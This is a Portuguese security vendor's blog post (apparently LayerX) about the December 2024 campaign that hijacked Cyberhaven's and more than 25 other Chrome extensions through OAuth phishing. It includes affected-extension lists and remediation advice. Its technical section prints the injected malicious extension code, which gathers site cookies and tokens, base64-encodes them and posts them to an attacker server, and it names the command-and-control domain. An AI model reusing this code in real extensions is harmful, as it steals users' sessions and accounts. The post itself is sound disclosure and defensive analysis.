Última atualização: 30 de dezembro de 2024
Este tópico do blog está rastreando a campanha de ataque global em andamento visando extensões de navegador na Chrome Web Store. Atualizaremos novos detalhes assim que estiverem disponíveis.
Resumo
Em 27 de dezembro de 2024, a startup de segurança cibernética Cyberhaven divulgou que um ataque comprometeu sua extensão de navegador e injetou código malicioso nela. Assim que os detalhes desse ataque surgiram, extensões de navegador comprometidas adicionais foram rapidamente descobertas, com mais de 25 extensões atualmente conhecidas por terem sido impactadas.
O tópico ao vivo abaixo explica todos os detalhes que sabemos, quais extensões foram impactadas, como as organizações devem se proteger e como a LayerX está ajudando seus clientes a lidar com extensões comprometidas por este ataque.
Links rápidos dentro deste documento:
- Como o ataque foi descoberto
- Como o ataque foi realizado
- Análise Técnica do Ataque
- Extensões impactadas adicionais
- Como se proteger
- Como a LayerX está ajudando os clientes a se protegerem
- Auditoria e correção de cortesia de extensões comprometidas
Como o ataque foi descoberto
Em 27 de dezembro de 2024, a Cyberhaven notificou seus clientes sobre uma violação de segurança que levou ao comprometimento das credenciais de um funcionário da Cyberhaven, que foram usadas para enviar uma versão maliciosa da extensão do navegador da Cyberhaven para a Chrome Store. A Cyberhaven Security Extension atualmente tem mais de 400,000 usuários, que foram presumivelmente impactados por essa violação.
A notícia do incidente foi primeiro relatório do blog de segurança cibernética Vulnu, que obteve uma cópia do e-mail da Cyberhaven't para os clientes.
De acordo com a análise da Cyberhaven, em 24 de dezembro, um ataque de phishing comprometeu um de seus funcionários, resultando no acesso dos invasores à extensão do navegador da empresa na Chrome Web Store.
Os invasores então aproveitaram esse acesso para enviar uma versão maliciosa da extensão do navegador Cyberhaven e atualizá-la na Chrome Store nas primeiras horas de 25 de dezembro.
De acordo com a Cyberhaven, a atualização maliciosa foi detectada cerca de um dia depois, e o código malicioso foi removido nas primeiras horas de 26 de dezembro. No total, a versão maliciosa ficou online por pouco mais de 24 horas.
No entanto, à medida que começaram a surgir informações de que extensões adicionais estavam comprometidas, ficou evidente que o ataque ao Cyberhaven não foi um ataque isolado direcionado apenas a esta empresa, mas sim parte de uma ampla campanha.
Isso torna a análise do incidente do Cyberhaven relevante para entender a campanha como um todo.
Como o ataque foi realizado
A conta de administrador da extensão do navegador Cyberhaven foi comprometida por meio de um ataque de phishing direcionado, permitindo que o invasor publicasse uma versão maliciosa dela.
Como esse incidente não foi apenas um ataque isolado, mas parte de uma campanha direcionada a diversas extensões, acreditamos que a abordagem de phishing usada para atacar o Cyberhaven também foi replicada com todas as outras extensões.
A fonte mais provável de alvos para a campanha de phishing é a própria Chrome Web Store.
Para cada extensão, a Chrome Store fornece detalhes do editor da extensão, juntamente com um endereço de e-mail de contato:
Exemplo de detalhes de contato da extensão do navegador Cyberhaven, da Chrome Web Store
Usando esses endereços de e-mail, os invasores enviaram e-mails falsos, supostamente em nome do Google, alertando os destinatários sobre "violações" em suas contas.
Esta é uma cópia do e-mail de phishing enviado à Cyberhaven, que a empresa forneceu como parte de seu análise técnica do incidente:
No entanto, e-mails semelhantes também surgiram de outras fontes: tópico no grupo de discussão Chromium.org perguntaram sobre um e-mail suspeito que receberam supostamente do Google, para entender se isso é uma tentativa de phishing:
Este e-mail é quase idêntico ao que comprometeu o Cyberhaven (embora liste um motivo de "violação" diferente), indicando que era parte da mesma campanha de phishing. De acordo com a postagem, este e-mail foi recebido em 23 de dezembro, bem na época em que o Cyberhaven foi violado.
Depois que o alvo pretendido clicava no link do e-mail, ele era levado a um formulário de autorização do Google para adicionar um aplicativo OAuth do Google chamado “Extensões da Política de Privacidade”.
Seguir esse fluxo de aprovação levaria à autorização do aplicativo OAuth de terceiros malicioso e à concessão de acesso à conta da Chrome Web Store da vítima. No entanto, devido à maneira como o ataque foi arquitetado, os invasores não precisaram comprometer as credenciais da conta eles mesmos (ou seja, a senha), apenas 'pegar carona' nas permissões concedidas pelo aplicativo malicioso.
Análise Técnica do Ataque
Depois que os invasores obtiveram acesso à conta da Web Store da vítima, eles injetaram código no arquivo worker.js da extensão para acessar uma URL externa (cyberhavenext[.]pro) e baixar um arquivo de configuração externo.
Cada vez que o navegador fosse iniciado, a extensão buscaria um arquivo de configuração de um servidor remoto. Este arquivo controla o comportamento da extensão e pode ser atualizado dinamicamente pelo invasor, permitindo que ele dite o que e quando ações ocorrem. o atacante pode troque o arquivo de configuração a qualquer momento, permitindo que eles adaptem o ataque a diferentes ambientes ou alvos dinamicamente. Esta é a chave para a flexibilidade do ataque.
Abaixo está um exemplo desse código:
Principais insights do código:
- Injetado em várias extensões: O código malicioso não está limitado a uma única extensão. Em vez disso, ele foi injetado em múltiplas extensões, com cada extensão buscando seu próprio arquivo de configuração exclusivo. Essa estratégia permite que o invasor diversifique os vetores de ataque, personalize comportamentos para diferentes extensões e torne a detecção mais desafiadora.
- Comportamento recorrente: A busca de configuração ocorre toda vez que o navegador é iniciado, garantindo que cada extensão sempre opere com as instruções mais recentes fornecidas pelo invasor.
- Nomeação enganosa: O código usa nomes de variáveis ou atributos, como cyberhavenext_ext_manage, contendo o nome da empresa. Isso faz com que pareça legítimo para desenvolvedores que inspecionam o armazenamento ou o código da extensão.
- Abuso de armazenamento local:Ao armazenar os dados de configuração em chrome.armazenamento.local, o invasor garante persistência. Desenvolvedores que inspecionam esses dados podem confiar neles erroneamente devido ao uso de nomes familiares ou que soem confiáveis.
- Controle dinâmico:O ponto final (https://cyberhavenext.pro/ai-cyberhaven) permite que o invasor modifique os arquivos de configuração de cada extensão a qualquer momento, fornecendo controle completo sobre a funcionalidade e o comportamento de cada extensão infectada.
- Configurações personalizadas: Cada extensão recupera uma configuração única, tornando o comportamento malicioso mais difícil de generalizar e detectar. Essa abordagem permite ataques personalizados com base no propósito específico da extensão ou na base de usuários.
Além disso, o código adicionou um novo arquivo (content.js) às extensões, usado para coletar dados do usuário em sites e exfiltrá-los para um site externo. O script de segundo plano na extensão opera como um controlador central, manipulando mensagens recebidas de scripts de conteúdo e executando várias ações com base nessas mensagens. O seguinte trecho de código demonstra uma estrutura flexível esperando para processar vários tipos de solicitações:
chrome.runtime.onMessage.addListener(((t, e, a) => {
switch (t.action) {
case"cyberhavenext-completions":
fetch("<https://chatgpt.com/status/>", {
method: "POST",
headers: {"Content-Type": "application/json", Authorization: `Bearer ${t.key}`},
body: JSON.stringify({prompt: "check", max_tokens: 150})
}).then((t => t.json())).then((t => a(t))).catch((t => {
}));
break;
case"cyberhavenext-redirect":
fetch(t.url).then((t => t.redirected)).then((t => a(t))).catch();
break;
case"cyberhavenext-validate":
fetch(t.url, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(t.pl)
}).then((t => t.json())).then((t => a(t))).catch((t => {
}));
break;
case"cyberhavenext-rtext":
fetch(t.url).then((t => t.text())).then((t => a(t))).catch();
break;
case"cyberhavenext-rjson":
fetch(t.url).then((t => t.json())).then((t => a(t))).catch();
break;
case"cyberhavenext-check-errors":
const e = t.pl;
let n = e.dm;
chrome.cookies.getAll({domain: n}, (n => {
if (n.length > 0) {
const o = n.map((t => ({
domain: t.domain,
expirationDate: t.expirationDate || null,
hostOnly: t.hostOnly,
httpOnly: t.httpOnly,
name: t.name,
path: t.path,
sameSite: t.sameSite || null,
secure: t.secure,
session: t.session,
storeId: t.storeId || null,
value: t.value
}))), c = e.n;
let s = "";
try {
s = btoa(JSON.stringify(e.openapi_u))
} catch (t) {
}
const i = e.openapi_tk + " || " + JSON.stringify(o) + " || " + btoa(navigator[c]) + " || " + e.uid + " || " + s + " || || " + e.k,
r = {ms1: btoa(i), ms2: JSON.stringify(e.cyberhavenext_cx), ms3: JSON.stringify(e.gpta)},
l = t.url;
fetch(l, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(r)
}).then((t => t.json())).then((t => a(t))).catch((t => {
}))
}
}))
}
return !0
}))
O roteiro usa chrome.runtime.onMessage.addListener para processar uma variedade de ações. Cada ação define um comportamento específico, como fazer solicitações de rede.
Quando o "cyberhavenext-check-errors“ação é invocada, o invasor recupera cookies confidenciais usando chrome.cookies.getAll o invasor também combina esses dados com outras informações (como navigator[c] e e.uid) o invasor irá obscurecer o conteúdo usando btoa() para convertê-lo para base64. Isso torna os dados menos legíveis em ferramentas de monitoramento de rede, adicionando uma camada de ofuscação.
Ao incorporar essas ações no script de segundo plano, o invasor garante que:
- A atividade maliciosa é independente das interações do usuário.
- Ele ocorre silenciosamente em segundo plano, o que o torna mais difícil de detectar.
A análise realizada pela Cyberhaven nos endpoints expostos indica que o código malicioso se concentrou especificamente em cookies e tokens de autenticação do Facebook e, em particular, nas contas comerciais do Facebook:
De acordo com a Cyberhaven, os dados visados incluíam tokens de acesso do Facebook, IDs de usuários, informações de conta e detalhes da conta de anúncios do Facebook.
Extensões impactadas adicionais
Uma vez que a URL do servidor C&C malicioso foi identificada, os pesquisadores de segurança usaram DNS reverso para identificar domínios adicionais que resolveram para o mesmo endereço IP. Isso levou ao descoberta de extensões de navegador adicionais comprometidas e revelou a extensão desta campanha de ataque.
Atualmente, mais de 25 extensões de navegador, com uma base instalada de mais de 2.3 milhões de usuários, foram consideradas comprometidas:
- Assistente de IA – ChatGPT e Gemini para Chrome
- Amigo da loja de IA
- Bate-papo de IA do Bardo
- Alteração do favorito do favorito
- castorus
- Assistente ChatGPT – Pesquisa inteligente
- Extensão de segurança Cyberhaven V3
- Earny – Até 20% de dinheiro de volta
- Email Hunter
- Resumo do GPT 4 com OpenAI
- Inspetor de Rede GraphQL
- Internet VPN
- Gravador de histórico de teclado
- Conversas de Papagaio
- Primus
- Modo de leitor
- Automatizador de busca de recompensas
- Pesquisar Copilot AI Assistant para Chrome
- Classificar pelos mais antigos
- Tackker – ferramenta de keylogger online
- TinaMind – O assistente de IA com tecnologia GPT-4o!
- Uvoz
- VidHelper – Baixador de Vídeos
- Vidnoz Flex – Gravador de vídeo e compartilhamento de vídeo
- Efeitos visuais para Google Meet
- VPNCidade
- IA Wayin
Como se proteger
Embora a análise técnica até agora tenha indicado que o objetivo principal desta campanha foi o roubo de credenciais e tokens de acesso do Facebook, é impossível descartar a exposição de credenciais de sites adicionais.
É por isso que a LayerX está recomendando as seguintes ações para todos os usuários afetados:
- Remover extensões de navegador impactadas: certifique-se de que todas as extensões impactadas sejam removidas e/ou bloqueadas. Algumas das extensões já carregaram versões atualizadas que removeram o código malicioso, mas não todas elas. Além disso, quaisquer extensões comprometidas que já tenham sido baixadas permanecerão expostas até que o usuário atualize a versão da extensão. É por isso que é essencial desabilitar ativamente todas as extensões potencialmente expostas.
- Atualize todas as extensões para as versões mais recentes: caso uma correção tenha sido emitida pelo editor, é importante atualizar a versão instalada da extensão o mais rápido possível (assumindo que ela ainda não tenha sido removida)
- Excluir todos os cookies dos usuários afetados: como o ataque teve como alvo cookies e tokens de acesso de sites, é fundamental excluir todos os cookies existentes e atualizar os tokens de acesso.
- Girar senhas: como prática recomendada, também é recomendável atualizar todas as senhas dos usuários afetados, para garantir que nenhuma credencial de acesso fique comprometida.
Como a LayerX está ajudando seus clientes
- Descoberta de extensões expostas: desde que o incidente do Cyberhaven foi exposto, pesquisadores de segurança ao redor do mundo têm trabalhado para identificar extensões comprometidas adicionais. A LayerX tem sido ativa nesse esforço, descobrindo uma série de tais extensões e combinando-as com informações publicamente disponíveis também.
- Detecção de extensões maliciosas implantadas nas redes dos clientes: A LayerX vem atualizando continuamente suas listas de extensões maliciosas para incluir extensões descobertas como comprometidas por essa violação. Sempre que uma extensão dessas é descoberta, os clientes são imediatamente alertados. Além disso, a LayerX tem entrado em contato ativamente com os clientes impactados para alertá-los sobre essas descobertas.
- Implantação de políticas de execução automática: A LayerX atualizou as políticas do cliente para desabilitar automaticamente qualquer extensão comprometida conhecida.
- Exclusão de cookies de usuários expostos: mediante solicitação do usuário, o LayerX pode impor ativamente a exclusão de cookies em usuários expostos, redefinindo assim cookies e tokens de autenticação.
- Forçar rotação de senha para usuários expostos: O LayerX também pode implantar políticas de segurança para forçar a rotação de senhas em usuários expostos, para garantir que nenhuma credencial de acesso permaneça exposta.
Auditoria e correção de cortesia de extensões comprometidas
Devido à amplitude e ao escopo deste ataque, a LayerX está oferecendo às organizações impactadas por este ataque (ou preocupadas em serem potencialmente impactadas) auditoria e correção de extensões de navegador gratuitas.
Esta auditoria inclui:
- Descoberta de todas as extensões do navegador instaladas em seu ambiente
- Mapeamento de quais usuários têm quais extensões instaladas em seus endpoints
- Pontuação de risco detalhada de cada extensão do navegador
- Remoção de extensões de navegador maliciosas comprometidas
- Rotação de cookies e senhas de usuário, se necessário
Clique aqui para se inscrever para esta avaliação.






